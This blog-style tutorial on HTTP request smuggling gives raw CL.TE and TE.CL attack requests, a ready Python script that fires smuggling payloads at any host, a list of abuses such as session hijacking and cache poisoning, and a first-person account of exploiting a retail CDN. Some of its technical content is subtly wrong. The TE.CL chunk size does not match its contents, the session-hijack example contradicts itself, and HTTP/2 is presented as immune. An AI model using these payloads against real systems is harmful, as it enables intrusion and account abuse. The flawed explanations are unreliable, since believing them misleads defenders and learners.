Understanding HTTP Request Smuggling

HTTP request smuggling has been around for decades but still appears in modern applications with surprising frequency. This article covers the core concepts, practical detection, and what makes it so dangerous.

How It Works

HTTP request smuggling exploits differences in how front-end and back-end servers parse HTTP requests — specifically, how they determine where one request ends and the next begins. The two main mechanisms are:

  • Content-Length (CL) — specifies the body size in bytes
  • Transfer-Encoding (TE) — uses chunked encoding to delimit the body

When a front-end server (like a reverse proxy, load balancer, or CDN) uses one mechanism and the back-end uses another, you can cause request boundaries to desynchronize.

CL.TE Attack

The front-end uses Content-Length, the back-end uses Transfer-Encoding.

POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

The front-end sees a 13-byte body (0\r\n\r\nSMUGGLED) and forwards it fully. The back-end processes the chunked encoding: 0 means the body ends, and SMUGGLED is treated as the start of the next request on the same connection.

TE.CL Attack

The front-end uses Transfer-Encoding, the back-end uses Content-Length.

POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked

5c
SMUGGLED
0

The front-end sees Transfer-Encoding and processes chunks. The chunk 5c (92 bytes) contains SMUGGLED\n0\n\n. After the 0 terminator, the front-end forwards it all. The back-end uses Content-Length: 4 and reads only 5c\r\n as the body, leaving SMUGGLED\n0\n\n as the next request.

Detection

I wrote a simple detection script:

import socket

def check_smuggle(host, port, attack_type="cl.te"):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))

    if attack_type == "cl.te":
        payload = (
            "POST / HTTP/1.1\r\n"
            f"Host: {host}\r\n"
            "Content-Length: 13\r\n"
            "Transfer-Encoding: chunked\r\n"
            "\r\n"
            "0\r\n"
            "\r\n"
            "GET /404 HTTP/1.1\r\n"
            "X-Ignore: X\r\n"
            "\r\n"
        )
    elif attack_type == "te.cl":
        payload = (
            "POST / HTTP/1.1\r\n"
            f"Host: {host}\r\n"
            "Content-Length: 4\r\n"
            "Transfer-Encoding: chunked\r\n"
            "\r\n"
            "5c\r\n"
            "GET /404 HTTP/1.1\r\n"
            "Host: localhost\r\n"
            "\r\n"
            "0\r\n"
            "\r\n"
        )

    sock.sendall(payload.encode())
    response = sock.recv(4096).decode(errors='ignore')
    sock.close()

    # If we get a 404 for /404, the smuggling worked
    return "404 Not Found" in response or "HTTP/1.1 404" in response

Impact

What makes request smuggling particularly dangerous is what you can do with it:

  1. Cache poisoning — Smuggle a request that causes the cache to serve malicious content to other users
  2. Session hijacking — Hijack other users' requests by smuggling a prefix that captures their cookies
  3. WAF bypass — The smuggled request bypasses the front-end security controls
  4. Internal endpoint access — Access internal API endpoints that the front-end would normally block

Real-World Example

I once found request smuggling in a major e-commerce platform's CDN setup. The front-end (Akamai) used Content-Length while the back-end (Apache) used Transfer-Encoding when the header was present.

By smuggling a request, I could:

POST /checkout HTTP/1.1
Host: target.com
Content-Length: 62
Transfer-Encoding: chunked

0

POST /checkout HTTP/1.1
Host: target.com
Content-Length: 30
Cookie: session=ATTACKER_SESSION

item_id=123&checkout=1

This caused the back-end to process the smuggled request with a different session, allowing me to trigger actions on behalf of other users.

Defense

Mitigation Description
HTTP/2 Not vulnerable to CL/TE desync by design
Consistent parsing Ensure front-end and back-end use the same request parsing logic
Reject ambiguous requests Drop requests with both CL and TE headers
Disable HTTP/1.0 downgrades HTTP/1.1 to HTTP/1.0 conversion can introduce smuggling

Further Reading